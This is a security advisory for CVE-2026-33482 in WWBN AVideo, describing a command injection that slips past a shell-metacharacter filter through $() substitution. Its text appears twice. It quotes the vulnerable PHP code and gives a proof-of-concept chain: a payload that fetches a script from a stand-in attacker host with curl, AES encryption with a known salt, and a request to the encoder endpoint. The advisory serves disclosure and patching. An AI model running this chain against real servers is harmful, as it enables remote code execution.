CVE-2026-33482

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, `, <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync(), an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. Commit 25c8ab90269e3a01fb4cf205b40a373487f022e1 contains a patch.

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, `, <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync(), an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. Commit 25c8ab90269e3a01fb4cf205b40a373487f022e1 contains a patch.

Summary

The sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, `, <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync(), an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.

Details

Vulnerable sanitization function (plugin/API/standAlone/functions.php:59-82):

function sanitizeFFmpegCommand($command)
{
    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];
    
    // Remove dangerous characters
    $command = str_replace('&&', '', $command);
    $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);
    $command = preg_replace('/[;|`<>]/', '', $command);  // Missing: $ ( ) \n
    
    // Ensure it starts with an allowed prefix
    foreach ($allowedPrefixes as $prefix) {
        if (strpos(trim($command), $prefix) === 0) {
            return $command;
        }
    }
    return '';
}

The character class [;|<>]on line 70 does not include$, (, ), or \n. This means $(...)` command substitution passes through completely unmodified.

Execution sink (objects/functionsExec.php:656-658):

$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";

The addcslashes($command, '"') call at line 639 only escapes double-quote characters. The $() construct is preserved intact and interpreted by sh as command substitution within the double-quoted string.

Execution flow:

1. Attacker sends codeToExecEncrypted parameter to plugin/API/standAlone/ffmpeg.json.php
2. Standalone encoder calls main server's unauthenticated decryptString API to decrypt
3. Decrypted ffmpegCommand passes through sanitizeFFmpegCommand() — $() is NOT stripped
4. Command passes prefix check (starts with ffmpeg)
5. execAsync() wraps it in sh -c "..." — $() is evaluated as command substitution

Auth barrier analysis:

• Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds
• Key is sha256(saltV2) on the main server; saltV2 is generated by random_bytes(16) — cryptographically strong
• IV is substr(sha256(systemRootPath), 0, 16) — predictable but insufficient alone
• On legacy installations without saltV2, falls back to $global['salt'] which may be weaker
• The decryptString API endpoint (API.php:5963) is unauthenticated, enabling probing but not payload crafting

PoC

Assuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):

# Step 1: Craft the malicious ffmpeg command
# $() passes sanitization; curl -o avoids needing > which would be stripped
MALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'

# Step 2: Build the JSON payload
PAYLOAD="{\"ffmpegCommand\":\"$MALICIOUS_CMD\",\"keyword\":\"test\",\"time\":$(date +%s)}"

# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)
# KEY = sha256(saltV2)
# IV  = substr(sha256(systemRootPath), 0, 16)
ENCRYPTED=$(php -r "
\$salt = 'KNOWN_SALTV2';
\$iv_source = '/var/www/html/AVideo/';
\$key = hash('sha256', \$salt);
\$iv = substr(hash('sha256', \$iv_source), 0, 16);
echo base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \$key, 0, \$iv));
")

# Step 4: Send to standalone encoder
curl "http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\"'$ENCRYPTED'\"))')"

# Result: The standalone encoder executes:
# sh -c "ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i…

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, `, <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync(), an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. Commit 25c8ab90269e3a01fb4cf205b40a373487f022e1 contains a patch.

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, `, <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync(), an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. Commit 25c8ab90269e3a01fb4cf205b40a373487f022e1 contains a patch.

Summary

The sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, `, <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync(), an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.

Details

Vulnerable sanitization function (plugin/API/standAlone/functions.php:59-82):

function sanitizeFFmpegCommand($command)
{
    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];
    
    // Remove dangerous characters
    $command = str_replace('&&', '', $command);
    $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);
    $command = preg_replace('/[;|`<>]/', '', $command);  // Missing: $ ( ) \n
    
    // Ensure it starts with an allowed prefix
    foreach ($allowedPrefixes as $prefix) {
        if (strpos(trim($command), $prefix) === 0) {
            return $command;
        }
    }
    return '';
}

The character class [;|<>]on line 70 does not include$, (, ), or \n. This means $(...)` command substitution passes through completely unmodified.

Execution sink (objects/functionsExec.php:656-658):

$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";

The addcslashes($command, '"') call at line 639 only escapes double-quote characters. The $() construct is preserved intact and interpreted by sh as command substitution within the double-quoted string.

Execution flow:

1. Attacker sends codeToExecEncrypted parameter to plugin/API/standAlone/ffmpeg.json.php
2. Standalone encoder calls main server's unauthenticated decryptString API to decrypt
3. Decrypted ffmpegCommand passes through sanitizeFFmpegCommand() — $() is NOT stripped
4. Command passes prefix check (starts with ffmpeg)
5. execAsync() wraps it in sh -c "..." — $() is evaluated as command substitution

Auth barrier analysis:

• Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds
• Key is sha256(saltV2) on the main server; saltV2 is generated by random_bytes(16) — cryptographically strong
• IV is substr(sha256(systemRootPath), 0, 16) — predictable but insufficient alone
• On legacy installations without saltV2, falls back to $global['salt'] which may be weaker
• The decryptString API endpoint (API.php:5963) is unauthenticated, enabling probing but not payload crafting

PoC

Assuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):

# Step 1: Craft the malicious ffmpeg command
# $() passes sanitization; curl -o avoids needing > which would be stripped
MALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'

# Step 2: Build the JSON payload
PAYLOAD="{\"ffmpegCommand\":\"$MALICIOUS_CMD\",\"keyword\":\"test\",\"time\":$(date +%s)}"

# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)
# KEY = sha256(saltV2)
# IV  = substr(sha256(systemRootPath), 0, 16)
ENCRYPTED=$(php -r "
\$salt = 'KNOWN_SALTV2';
\$iv_source = '/var/www/html/AVideo/';
\$key = hash('sha256', \$salt);
\$iv = substr(hash('sha256', \$iv_source), 0, 16);
echo base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \$key, 0, \$iv));
")

# Step 4: Send to standalone encoder
curl "http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\"'$ENCRYPTED'\"))')"

# Result: The standalone encoder executes:
# sh -c "ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i…